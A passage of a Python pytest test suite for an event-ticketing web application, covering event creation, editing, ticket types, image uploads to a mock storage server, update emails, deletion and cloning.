WHERE e.id=$1', j['pk'] ) r = await cli.get(url('event-get-public', category=cat_slug, event=event_slug)) j = await r.json() assert r.status == 200, await r.text() assert j['event']['external_donation_url'] == data['external_donation_url'] async def test_create_event_host_external_donations(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await login() await db_conn.fetchval("UPDATE users SET status='pending'") data = dict( name='foobar', category=factory.category_id, long_description='longgggg descriptionnnn', date={'dt': datetime(2032, 2, 1, 19, 0).strftime('%s'), 'dur': 3600}, timezone='America/New_York', external_donation_url='https://www.example.com/give-monies-now/', ) r = await cli.json_post(url('event-add'), data=data) j = await r.json() assert r.status == 403, await r.text() assert j == {'message': 'external_donation_url may only be set by admins'} assert 0 == await db_conn.fetchval('SELECT COUNT(*) FROM events') async def test_create_bad_timezone(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await login() data = dict( name='foobar', category=factory.category_id, date={'dt': datetime(2032, 6, 1, 19, 0).strftime('%s'), 'dur': 7200}, timezone='foobar', long_description='# title\nI love to **party**', ) r = await cli.json_post(url('event-add'), data=data) assert r.status == 400, await r.text() data = await r.json() assert data == { 'message': 'Invalid Data', 'details': [{'loc': ['timezone'], 'msg': 'invalid timezone', 'type': 'value_error'}], } async def test_not_auth(cli, url, db_conn, factory: Factory): await factory.create_company() await factory.create_cat() await factory.create_user() data = dict( name='foobar', category=factory.category_id, location={'lat': 50, 'lng': 0, 'name': 'London'}, date={'dt': datetime(2032, 2, 1, 19, 0).strftime('%s'), 'dur': None}, long_description='I love to party', ) r = await cli.json_post(url('event-add'), data=data) assert r.status == 401, await r.text() assert 0 == await db_conn.fetchval('SELECT COUNT(*) FROM events') async def test_edit_event(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() ticket_limit, location_lat = await db_conn.fetchrow('SELECT ticket_limit, location_lat FROM events') assert ticket_limit is None assert location_lat is None data = dict(ticket_limit=12, location={'name': 'foobar', 'lat': 50, 'lng': 1}) r = await cli.json_post(url('event-edit', pk=factory.event_id), data=data) assert r.status == 200, await r.text() assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM events') ticket_limit, location_lat = await db_conn.fetchrow('SELECT ticket_limit, location_lat FROM events') assert ticket_limit == 12 assert location_lat == 50 allow_tickets, allow_donations = await db_conn.fetchrow('SELECT allow_tickets, allow_donations FROM events') assert (allow_tickets, allow_donations) == (True, False) action = await db_conn.fetchrow("SELECT * FROM actions WHERE type='edit-event'") assert action['user_id'] == factory.user_id assert action['event'] == factory.event_id async def test_edit_event_date(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() start_ts = await db_conn.fetchval('SELECT start_ts FROM events') assert start_ts == datetime(2032, 6, 28, 18, 0, tzinfo=timezone.utc) data = dict(date={'dt': datetime(2032, 1, 1, 12).isoformat(), 'dur': 3600}) r = await cli.json_post(url('event-edit', pk=factory.event_id), data=data) assert r.status == 200, await r.text() start_ts = await db_conn.fetchval('SELECT start_ts FROM events') assert start_ts == datetime(2032, 1, 1, 12, tzinfo=timezone.utc) async def test_edit_event_timezone(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() start_ts, tz = await db_conn.fetchrow('SELECT start_ts, timezone FROM events') assert start_ts == datetime(2032, 6, 28, 18, 0, tzinfo=timezone.utc) start_ts_local = await db_conn.fetchval('SELECT start_ts AT TIME ZONE timezone FROM events') assert start_ts_local == datetime(2032, 6, 28, 19, 0) assert tz == 'Europe/London' data = dict(timezone='America/New_York') r = await cli.json_post(url('event-edit', pk=factory.event_id), data=data) assert r.status == 200, await r.text() start_ts, tz = await db_conn.fetchrow('SELECT start_ts, timezone FROM events') assert start_ts == datetime(2032, 6, 28, 23, 0, tzinfo=timezone.utc) assert tz == 'America/New_York' start_ts_local = await db_conn.fetchval('SELECT start_ts AT TIME ZONE timezone FROM events') assert start_ts_local == datetime(2032, 6, 28, 19, 0) async def test_edit_event_ticket_limit(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event(ticket_limit=20) await login() anne = await factory.create_user(first_name='x', email='anne@example.org') ben = await factory.create_user(first_name='x', email='ben@example.org') await factory.book_free(await factory.create_reservation(anne, ben), anne) r = await cli.json_post(url('event-edit', pk=factory.event_id), data=dict(ticket_limit=1)) assert r.status == 400, await r.text() data = await r.json() assert data['details'][0]['msg'] == 'May not be less than the number of tickets already booked.' async def test_edit_past_event(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await factory.create_event() await login() r = await cli.json_post(url('event-edit', pk=factory.event_id), data=dict(ticket_limit=12)) assert r.status == 200, await r.text() assert 12 == await db_conn.fetchval('SELECT ticket_limit FROM events') assert 1 == await db_conn.fetchval("SELECT COUNT(*) FROM actions WHERE type='edit-event'") await db_conn.execute("UPDATE events SET start_ts=now() - '1 hour'::interval") r = await cli.json_post(url('event-edit', pk=factory.event_id), data=dict(ticket_limit=100)) assert r.status == 404, await r.text() assert 12 == await db_conn.fetchval('SELECT ticket_limit FROM events') assert 1 == await db_conn.fetchval("SELECT COUNT(*) FROM actions WHERE type='edit-event'") async def test_set_event_status(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() assert 'pending' == await db_conn.fetchval('SELECT status FROM events') r = await cli.json_post(url('event-set-status', id=factory.event_id), data=dict(status='published')) assert r.status == 200, await r.text() assert 'published' == await db_conn.fetchval('SELECT status FROM events') async def test_set_event_status_bad(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() assert 'pending' == await db_conn.fetchval('SELECT status FROM events') r = await cli.json_post(url('event-set-status', id=factory.event_id), data=dict(status='foobar')) assert r.status == 400, await r.text() data = await r.json() assert data == { 'message': 'Invalid Data', 'details': [ { 'loc': ['status'], 'msg': "value is not a valid enumeration member; permitted: 'pending', 'published', 'suspended'", 'type': 'type_error.enum', 'ctx': {'enum_values': ['pending', 'published', 'suspended']}, }, ], } assert 'pending' == await db_conn.fetchval('SELECT status FROM events') async def test_set_event_status_host_not_active(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await factory.create_event() await login() await db_conn.execute("UPDATE users SET status='pending'") r = await cli.json_post(url('event-set-status', id=factory.event_id), data=dict(status='published')) assert r.status == 403, await r.text() data = await r.json() assert data == {'message': 'Host not active'} assert 'pending' == await db_conn.fetchval('SELECT status FROM events') async def test_set_event_status_missing_event(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await login() r = await cli.json_post(url('event-set-status', id=999), data=dict(status='published')) assert r.status == 404, await r.text() async def test_set_event_status_wrong_host(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') user2 = await factory.create_user(role='host', email='user2@example.org') await factory.create_event(host_user_id=user2) await login() r = await cli.json_post(url('event-set-status', id=factory.event_id), data=dict(status='published')) assert r.status == 403, await r.text() data = await r.json() assert data == {'message': 'user is not the host of this event'} assert 'pending' == await db_conn.fetchval('SELECT status FROM events') async def test_event_tickets_host(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await factory.create_event(price=10) user2_id = await factory.create_user(first_name='guest', last_name='guest', email='guest@example.org', role='guest') res = await factory.create_reservation(user2_id) await factory.buy_tickets(res) await login() anne = await factory.create_user(first_name='anne', last_name='anne', email='anne@example.org') await db_conn.execute('insert into waiting_list (event, user_id) values ($1, $2)', factory.event_id, anne) r = await cli.get(url('event-tickets', id=factory.event_id)) assert r.status == 200, await r.text() data = await r.json() ticket_id = await db_conn.fetchval('SELECT id from tickets') assert data == { 'tickets': [ { 'id': ticket_id, 'ticket_id': RegexStr(r'.{7}-%s' % ticket_id), 'ticket_status': 'booked', 'extra_info': None, 'booked_at': CloseToNow(delta=4), 'booking_type': 'buy-tickets', 'price': 10, 'extra_donated': None, 'guest_user_id': user2_id, 'guest_name': None, 'buyer_user_id': user2_id, 'buyer_name': 'guest guest', 'ticket_type_name': 'Standard', 'ticket_type_id': await db_conn.fetchval('SELECT id from ticket_types'), }, ], 'waiting_list': [{'added_ts': CloseToNow(delta=4), 'name': 'anne anne'}], 'donations': [], } await db_conn.execute('update tickets set price=null') r = await cli.get(url('event-tickets', id=factory.event_id)) assert r.status == 200, await r.text() data = await r.json() assert len(data['tickets']) == 1 assert data['tickets'][0]['price'] is None async def test_event_tickets_admin(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() anne = await factory.create_user(first_name='x', email='anne@example.org') ben = await factory.create_user(first_name='x', email='ben@example.org') await factory.book_free(await factory.create_reservation(anne, ben), anne) await db_conn.execute( "UPDATE tickets SET first_name='anne', last_name='apple', extra_donated=1.23 WHERE user_id=$1", anne ) await db_conn.execute( "UPDATE tickets SET first_name='ben', last_name='banana', extra_donated=1.23 WHERE user_id=$1", ben ) await login() charlie = await factory.create_user(first_name='charlie', last_name='charlie', email='charlie@example.org') await db_conn.execute('insert into waiting_list (event, user_id) values ($1, $2)', factory.event_id, charlie) r = await cli.get(url('event-tickets', id=factory.event_id)) assert r.status == 200, await r.text() data = await r.json() assert len(data['tickets']) == 2 tickets = sorted(data['tickets'], key=lambda t: t['guest_name']) tt_id = await db_conn.fetchval('SELECT id from ticket_types') assert tickets == [ { 'id': await db_conn.fetchval("SELECT id FROM tickets where first_name='anne'"), 'ticket_id': RegexStr(r'.{7}-\d+'), 'ticket_status': 'booked', 'extra_info': None, 'booked_at': CloseToNow(delta=4), 'booking_type': 'book-free-tickets', 'price': None, 'extra_donated': 1.23, 'guest_user_id': anne, 'guest_name': 'anne apple', 'guest_email': 'anne@example.org', 'buyer_user_id': anne, 'buyer_name': 'anne apple', 'buyer_email': 'anne@example.org', 'ticket_type_name': 'Standard', 'ticket_type_id': tt_id, }, { 'id': await db_conn.fetchval("SELECT id FROM tickets where first_name='ben'"), 'ticket_id': RegexStr(r'.{7}-\d+'), 'ticket_status': 'booked', 'extra_info': None, 'booked_at': CloseToNow(delta=4), 'booking_type': 'book-free-tickets', 'price': None, 'extra_donated': 1.23, 'guest_user_id': ben, 'guest_name': 'ben banana', 'guest_email': 'ben@example.org', 'buyer_user_id': anne, 'buyer_name': 'anne apple', 'buyer_email': 'anne@example.org', 'ticket_type_name': 'Standard', 'ticket_type_id': tt_id, }, ] assert data['waiting_list'] == [ {'added_ts': CloseToNow(delta=4), 'name': 'charlie charlie', 'email': 'charlie@example.org'} ] async def test_tickets_dont_repeat(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(first_name='T', last_name='B', email='ticket.buyer@example.org') await factory.create_event(status='published', price=10) await login(email='ticket.buyer@example.org') data = { 'tickets': [ {'t': True, 'email': 'ticket.buyer@example.org'}, {'t': True, 'email': 'ticket.buyer@example.org'}, ], 'ticket_type': factory.ticket_type_id, } r = await cli.json_post(url('event-reserve-tickets', id=factory.event_id), data=data) assert r.status == 200, await r.text() action_id = (await r.json())['action_id'] await factory.fire_stripe_webhook(action_id) assert 2 == await db_conn.fetchval('select count(*) from tickets') r = await cli.get(url('event-tickets', id=factory.event_id)) assert r.status == 200, await r.text() data = await r.json() assert len(data['tickets']) == 2 async def test_image_existing(cli, url, factory: Factory, db_conn, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await factory.create_event() await login() assert dummy_server.app['log'] == [] r = await cli.json_post( url('event-set-image-existing', id=factory.event_id), data={'image': 'https://testingbucket.example.org/testing.png'}, ) assert r.status == 200, await r.text() assert 'https://testingbucket.example.org/testing.png' == await db_conn.fetchval('SELECT image FROM events') assert dummy_server.app['log'] == [] async def test_image_existing_past(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await factory.create_event(start_ts=datetime(2000, 1, 1)) await login() r = await cli.json_post( url('event-set-image-existing', id=factory.event_id), data={'image': 'https://testingbucket.example.org/testing.png'}, ) assert r.status == 403, await r.text() assert {'message': "you can't modify past events"} == await r.json() async def test_image_existing_bad(cli, url, factory: Factory, db_conn, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() r = await cli.json_post( url('event-set-image-existing', id=factory.event_id), data={'image': 'https://foobar.example.org/testing.png'} ) assert r.status == 400, await r.text() assert None is await db_conn.fetchval('SELECT image FROM events') assert dummy_server.app['log'] == [] async def test_image_existing_wrong_host(cli, url, factory: Factory, db_conn, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') user_id = await factory.create_user(email='admin@example.org') await factory.create_event(host_user_id=user_id) await login() r = await cli.json_post( url('event-set-image-existing', id=factory.event_id), data={'image': 'https://testingbucket.example.org/testing.png'}, ) assert r.status == 403, await r.text() assert None is await db_conn.fetchval('SELECT image FROM events') data = await r.json() assert data == {'message': 'user is not the host of this event'} assert dummy_server.app['log'] == [] async def test_image_existing_wrong_id(cli, url, factory: Factory, login, dummy_server): await factory.create_company() await factory.create_user() await login() r = await cli.json_post( url('event-set-image-existing', id=1), data={'image': 'https://testingbucket.example.org/testing.png'} ) assert r.status == 404, await r.text() assert dummy_server.app['log'] == [] async def test_image_existing_delete(cli, url, factory: Factory, db_conn, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event(image='https://testingbucket.example.org/main.png') await login() r = await cli.json_post( url('event-set-image-existing', id=factory.event_id), data={'image': 'https://testingbucket.example.org/testing.png'}, ) assert r.status == 200, await r.text() assert 'https://testingbucket.example.org/testing.png' == await db_conn.fetchval('SELECT image FROM events') assert set(dummy_server.app['log']) == { 'DELETE aws_endpoint_url/testingbucket.example.org/main.png', 'DELETE aws_endpoint_url/testingbucket.example.org/thumb.png', } async def test_image_new(cli, url, factory: Factory, db_conn, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event(image='https://testingbucket.example.org/main.png') await login() data = FormData() data.add_field('image', create_image(), filename='testing.png', content_type='application/octet-stream') r = await cli.post( url('event-set-image-new', id=factory.event_id), data=data, headers={ 'Referer': f'http://127.0.0.1:{cli.server.port}/foobar/', 'Origin': f'http://127.0.0.1:{cli.server.port}', }, ) assert r.status == 200, await r.text() img_path = await db_conn.fetchval('SELECT image FROM events') assert img_path == RegexStr( r'https://testingbucket.example.org/tests/testing/' r'supper-clubs/the-event-name/\w+/main.png' ) # debug(dummy_server.app['log']) assert sorted(dummy_server.app['log']) == [ 'DELETE aws_endpoint_url/testingbucket.example.org/main.png', 'DELETE aws_endpoint_url/testingbucket.example.org/thumb.png', RegexStr( r'PUT aws_endpoint_url/testingbucket.example.org/tests/testing/supper-clubs/' r'the-event-name/\w+?/main.png' ), RegexStr( r'PUT aws_endpoint_url/testingbucket.example.org/tests/testing/supper-clubs/' r'the-event-name/\w+?/thumb.png' ), ] async def test_add_ticket_type(cli, url, factory: Factory, db_conn, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM ticket_types where mode=$1', 'ticket') r = await cli.get(url('event-ticket-types', id=factory.event_id)) assert r.status == 200, await r.text() data = await r.json() ticket_types = [data['ticket_types'][0]] assert len(ticket_types) == 1 ticket_types.append({'name': 'Foobar', 'price': 123.5, 'slots_used': 2, 'active': False, 'mode': 'ticket'}) r = await cli.json_post(url('update-event-ticket-types', id=factory.event_id), data={'ticket_types': ticket_types}) assert r.status == 200, await r.text() ticket_types = [dict(r) for r in await db_conn.fetch('SELECT * FROM ticket_types WHERE mode=$1', 'ticket')] assert ticket_types == [ { 'id': AnyInt(), 'event': factory.event_id, 'name': 'Standard', 'price': None, 'mode': 'ticket', 'slots_used': 1, 'active': True, 'custom_amount': False, }, { 'id': AnyInt(), 'event': factory.event_id, 'name': 'Foobar', 'price': Decimal('123.50'), 'mode': 'ticket', 'slots_used': 2, 'active': False, 'custom_amount': False, }, ] async def test_delete_ticket_type(cli, url, factory: Factory, db_conn, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() tt_id = await db_conn.fetchval('SELECT id FROM ticket_types') data = {'ticket_types': [{'name': 'xxx', 'price': 12.3, 'slots_used': 50, 'active': True}]} r = await cli.json_post(url('update-event-ticket-types', id=factory.event_id), data=data) assert r.status == 200, await r.text() ticket_types = [dict(r) for r in await db_conn.fetch('SELECT * FROM ticket_types where mode=$1', 'ticket')] assert ticket_types == [ { 'id': AnyInt(), 'event': factory.event_id, 'name': 'xxx', 'price': Decimal('12.30'), 'slots_used': 50, 'mode': 'ticket', 'active': True, 'custom_amount': False, }, ] assert ticket_types[0]['id'] != tt_id async def test_delete_wrong_ticket_type(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await factory.create_reservation() await login() data = {'ticket_types': [{'name': 'xxx', 'price': 12.3, 'slots_used': 50, 'active': True}]} r = await cli.json_post(url('update-event-ticket-types', id=factory.event_id), data=data) assert r.status == 400, await r.text() data = await r.json() assert data == { 'message': 'ticket types deleted which have ticket associated with them', } async def test_edit_ticket_type(cli, url, factory: Factory, db_conn, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() tt_id = await db_conn.fetchval('SELECT id FROM ticket_types') data = {'ticket_types': [{'id': tt_id, 'name': 'xxx', 'price': 12.3, 'slots_used': 50, 'active': True}]} r = await cli.json_post(url('update-event-ticket-types', id=factory.event_id), data=data) assert r.status == 200, await r.text() ticket_types = [dict(r) for r in await db_conn.fetch('SELECT * FROM ticket_types where mode=$1', 'ticket')] assert ticket_types == [ { 'id': tt_id, 'event': factory.event_id, 'name': 'xxx', 'price': Decimal('12.30'), 'mode': 'ticket', 'slots_used': 50, 'active': True, 'custom_amount': False, }, ] @pytest.mark.parametrize( 'get_input,response_contains', [ (lambda tt_id: [{'id': tt_id, 'name': 'foobar'}], '"msg": "field required"'), ( lambda tt_id: [{'id': 999, 'name': 'x', 'slots_used': 1, 'active': True}], '"message": "wrong ticket updated"', ), ( lambda tt_id: [{'id': tt_id, 'name': 'x', 'slots_used': 1, 'active': False}], '"msg": "at least 1 ticket type must be active"', ), ], ) async def test_invalid_ticket_updates(get_input, response_contains, cli, url, factory: Factory, db_conn, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() tt_id = await db_conn.fetchval("SELECT id FROM ticket_types where mode='ticket'") ticket_types = get_input(tt_id) r = await cli.json_post(url('update-event-ticket-types', id=factory.event_id), data={'ticket_types': ticket_types}) assert r.status == 400, await r.text() assert response_contains in await r.text() async def test_event_updates_sent(cli, url, login, factory: Factory, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event(price=10) await login() anne = await factory.create_user(first_name='anne', email='anne@example.org') await factory.buy_tickets(await factory.create_reservation(anne, None)) assert len(dummy_server.app['emails']) == 1 data = dict(subject='This is a test email & whatever', message='this is the **message**.') r = await cli.json_post(url('event-send-update', id=factory.event_id), data=data) assert r.status == 200, await r.text() assert len(dummy_server.app['emails']) == 2 r = await cli.get(url('event-updates-sent', id=factory.event_id)) assert r.status == 200, await r.text() data = await r.json() assert data == { 'event_updates': [ { 'message': 'this is the **message**.', 'subject': 'This is a test email & whatever', 'ts': CloseToNow(delta=4), } ] } async def test_event_updates_past(cli, url, login, factory: Factory, dummy_server, db_conn): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await factory.create_event() await login() anne = await factory.create_user(first_name='anne', email='anne@example.org') await factory.book_free(await factory.create_reservation(anne, None), anne) data = dict(subject='This is a test email & whatever', message='this is the **message**.') r = await cli.json_post(url('event-send-update', id=factory.event_id), data=data) assert r.status == 200, await r.text() assert len(dummy_server.app['emails']) == 1 r = await cli.json_post(url('event-send-update', id=factory.event_id), data=data) assert r.status == 200, await r.text() assert len(dummy_server.app['emails']) == 2 await db_conn.execute("UPDATE events SET start_ts=now() - '1 hour'::interval") r = await cli.json_post(url('event-send-update', id=factory.event_id), data=data) assert r.status == 403, await r.text() assert {'message': "you can't modify past events"} == await r.json() assert len(dummy_server.app['emails']) == 2 async def test_send_event_update_wrong_user(cli, url, login, factory: Factory): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') user2 = await factory.create_user(role='host', email='user2@example.org') await factory.create_event(price=10, host_user_id=user2) await login() data = dict(subject='This is a test email & whatever', message='this is the **message**.') r = await cli.json_post(url('event-send-update', id=factory.event_id), data=data) assert r.status == 403, await r.text() async def test_send_event_update_no_event(cli, url, login, factory: Factory): await factory.create_company() await factory.create_cat() await factory.create_user() await login() data = dict(subject='This is a test email & whatever', message='this is the **message**.') r = await cli.json_post(url('event-send-update', id=999), data=data) assert r.status == 404, await r.text() async def test_event_updates_none(cli, url, login, factory: Factory): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() r = await cli.get(url('event-updates-sent', id=factory.event_id)) assert r.status == 200, await r.text() data = await r.json() assert data == {'event_updates': []} async def test_event_updates_wrong_event(cli, url, login, factory: Factory): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') user2 = await factory.create_user(role='host', email='user2@example.org') await factory.create_event(price=10, host_user_id=user2) await login() r = await cli.get(url('event-updates-sent', id=factory.event_id)) assert r.status == 403, await r.text() @pytest.mark.parametrize('previous_status', [True, False]) async def test_event_switch_status(previous_status, cli, url, login, factory: Factory, db_conn): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event(price=10) await login() await db_conn.execute('UPDATE events SET highlight=$1', previous_status) r = await cli.json_post(url('event-switch-highlight', id=factory.event_id)) assert r.status == 200, await r.text() h = await db_conn.fetchval('SELECT highlight FROM events') assert h == (not previous_status) async def test_delete_event(cli, url, factory: Factory, login, db_conn): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() await factory.create_reservation() event2 = await factory.create_event(slug='event2') ticket_type = await db_conn.fetchval('SELECT id FROM ticket_types WHERE event=$1', event2) await factory.create_reservation(event_id=event2, ticket_type_id=ticket_type) assert 2 == await db_conn.fetchval('SELECT count(*) FROM events') assert 6 == await db_conn.fetchval('SELECT count(*) FROM ticket_types') assert 2 == await db_conn.fetchval('SELECT count(*) FROM tickets') r = await cli.json_post(url('event-delete', pk=factory.event_id)) assert r.status == 200, await r.text() assert 1 == await db_conn.fetchval('SELECT count(*) FROM events') assert 3 == await db_conn.fetchval('SELECT count(*) FROM ticket_types') assert 1 == await db_conn.fetchval('SELECT count(*) FROM tickets') async def test_delete_event_host(cli, url, factory: Factory, login, db_conn): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await factory.create_event() await login() await factory.create_reservation() assert 1 == await db_conn.fetchval('SELECT count(*) FROM events') r = await cli.json_post(url('event-delete', pk=factory.event_id)) assert r.status == 403, await r.text() assert 1 == await db_conn.fetchval('SELECT count(*) FROM events') async def test_secondary_image(cli, url, factory: Factory, db_conn, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() data = FormData() data.add_field('image', create_image(), filename='testing.png', content_type='application/octet-stream') r = await cli.post( url('event-set-image-secondary', id=factory.event_id), data=data, headers={ 'Referer': f'http://127.0.0.1:{cli.server.port}/foobar/', 'Origin': f'http://127.0.0.1:{cli.server.port}', }, ) assert r.status == 200, await r.text() img_path = await db_conn.fetchval('SELECT secondary_image FROM events') assert img_path == RegexStr( r'https://testingbucket.example.org/tests/testing/supper-clubs/the-event-name/secondary/\w+/main.png' ) assert dummy_server.app['log'] == [ RegexStr( r'PUT aws_endpoint_url/testingbucket.example.org/tests/testing/' r'supper-clubs/the-event-name/secondary/\w+/main.png' ), ] async def test_secondary_image_exists(cli, url, factory: Factory, db_conn, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() event_path = 'testingbucket.example.org/tests/testing/supper-clubs/the-event-name' img_url = f'https://{event_path}/secondary/xxx123/main.png' await db_conn.execute('update events set secondary_image=$1', img_url) data = FormData() data.add_field('image', create_image(), filename='testing.png', content_type='application/octet-stream') r = await cli.post( url('event-set-image-secondary', id=factory.event_id), data=data, headers={ 'Referer': f'http://127.0.0.1:{cli.server.port}/foobar/', 'Origin': f'http://127.0.0.1:{cli.server.port}', }, ) assert r.status == 200, await r.text() assert sorted(dummy_server.app['log']) == [ f'DELETE aws_endpoint_url/{event_path}/secondary/xxx123/main.png', f'DELETE aws_endpoint_url/{event_path}/secondary/xxx123/thumb.png', RegexStr(rf'PUT aws_endpoint_url/{event_path}/secondary/\w+/main.png'), ] async def test_remove_secondary_image_(cli, url, factory: Factory, db_conn, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() event_path = 'testingbucket.example.org/tests/testing/supper-clubs/the-event-name' img_url = f'https://{event_path}/secondary/xxx123/main.png' await db_conn.execute('update events set secondary_image=$1', img_url) r = await cli.json_post(url('event-remove-image-secondary', id=factory.event_id)) assert r.status == 200, await r.text() assert sorted(dummy_server.app['log']) == [ f'DELETE aws_endpoint_url/{event_path}/secondary/xxx123/main.png', f'DELETE aws_endpoint_url/{event_path}/secondary/xxx123/thumb.png', ] assert None is await db_conn.fetchval('select secondary_image from events where id=$1', factory.event_id) r = await cli.json_post(url('event-remove-image-secondary', id=factory.event_id)) assert r.status == 200, await r.text() assert sorted(dummy_server.app['log']) == [ f'DELETE aws_endpoint_url/{event_path}/secondary/xxx123/main.png', f'DELETE aws_endpoint_url/{event_path}/secondary/xxx123/thumb.png', ] assert None is await db_conn.fetchval('select secondary_image from events where id=$1', factory.event_id) async def test_description_image(cli, url, factory: Factory, db_conn, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() data = FormData() data.add_field('image', create_image(), filename='testing.png', content_type='application/octet-stream') r = await cli.post( url('event-set-image-description', id=factory.event_id), data=data, headers={ 'Referer': f'http://127.0.0.1:{cli.server.port}/foobar/', 'Origin': f'http://127.0.0.1:{cli.server.port}', }, ) assert r.status == 200, await r.text() img_path = await db_conn.fetchval('SELECT description_image FROM events') assert img_path == RegexStr( r'https://testingbucket.example.org/tests/testing/supper-clubs/the-event-name/description/\w+/main.png' ) assert sorted(dummy_server.app['log']) == [ RegexStr( r'PUT aws_endpoint_url/testingbucket.example.org/tests/testing/' r'supper-clubs/the-event-name/description/\w+/main.png' ), RegexStr( r'PUT aws_endpoint_url/testingbucket.example.org/tests/testing/' r'supper-clubs/the-event-name/description/\w+/thumb.png' ), ] async def test_description_image_exists(cli, url, factory: Factory, db_conn, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() event_path = 'testingbucket.example.org/tests/testing/supper-clubs/the-event-name' img_url = f'https://{event_path}/description/xxx123/main.png' await db_conn.execute('update events set description_image=$1', img_url) data = FormData() data.add_field('image', create_image(), filename='testing.png', content_type='application/octet-stream') r = await cli.post( url('event-set-image-description', id=factory.event_id), data=data, headers={ 'Referer': f'http://127.0.0.1:{cli.server.port}/foobar/', 'Origin': f'http://127.0.0.1:{cli.server.port}', }, ) assert r.status == 200, await r.text() assert sorted(dummy_server.app['log']) == [ f'DELETE aws_endpoint_url/{event_path}/description/xxx123/main.png', f'DELETE aws_endpoint_url/{event_path}/description/xxx123/thumb.png', RegexStr(rf'PUT aws_endpoint_url/{event_path}/description/\w+/main.png'), RegexStr(rf'PUT aws_endpoint_url/{event_path}/description/\w+/thumb.png'), ] async def test_remove_description_image_(cli, url, factory: Factory, db_conn, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() event_path = 'testingbucket.example.org/tests/testing/supper-clubs/the-event-name' img_url = f'https://{event_path}/description/xxx123/main.png' await db_conn.execute('update events set description_image=$1', img_url) r = await cli.json_post(url('event-remove-image-description', id=factory.event_id)) assert r.status == 200, await r.text() assert sorted(dummy_server.app['log']) == [ f'DELETE aws_endpoint_url/{event_path}/description/xxx123/main.png', f'DELETE aws_endpoint_url/{event_path}/description/xxx123/thumb.png', ] assert None is await db_conn.fetchval('select description_image from events where id=$1', factory.event_id) r = await cli.json_post(url('event-remove-image-description', id=factory.event_id)) assert r.status == 200, await r.text() assert sorted(dummy_server.app['log']) == [ f'DELETE aws_endpoint_url/{event_path}/description/xxx123/main.png', f'DELETE aws_endpoint_url/{event_path}/description/xxx123/thumb.png', ] assert None is await db_conn.fetchval('select description_image from events where id=$1', factory.event_id) async def test_clone_event(cli, url, factory: Factory, db_conn, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event( name='First Event', ticket_limit=42, public=False, status='pending', short_description='this is short', long_description='this is long', description_intro='this is some intro texxxt', ) await login() data = dict( name='New Event', date={'dt': datetime(2032, 2, 1, 19).strftime('%s'), 'dur': 7200}, status='published', ) r = await cli.json_post(url('event-clone', id=factory.event_id), data=data) assert r.status == 201, await r.text() assert await db_conn.fetchval('select count(*) from events where id!=$1', factory.event_id) == 1 new_event_id = await db_conn.fetchval('select id from events where id!=$1', factory.event_id) assert await r.json() == {'id': new_event_id} data = await db_conn.fetchrow('select * from events where id=$1', new_event_id) assert dict(data) == { 'id': new_event_id, 'category': factory.category_id, 'status': 'published', 'host': factory.user_id, 'name': 'New Event', 'slug': 'new-event', 'highlight': False, 'allow_tickets': True, 'allow_donations': False, 'external_ticket_url': None, 'external_donation_url': None, 'start_ts': datetime(2032, 2, 1, 19, 0, tzinfo=timezone.utc), 'timezone': 'Europe/London', 'duration': timedelta(0, 7200), 'youtube_video_id': None, 'short_description': 'this is short', 'long_description': 'this is long', 'description_intro': 'this is some intro texxxt', 'description_image': None, 'public': False, 'location_name': None, 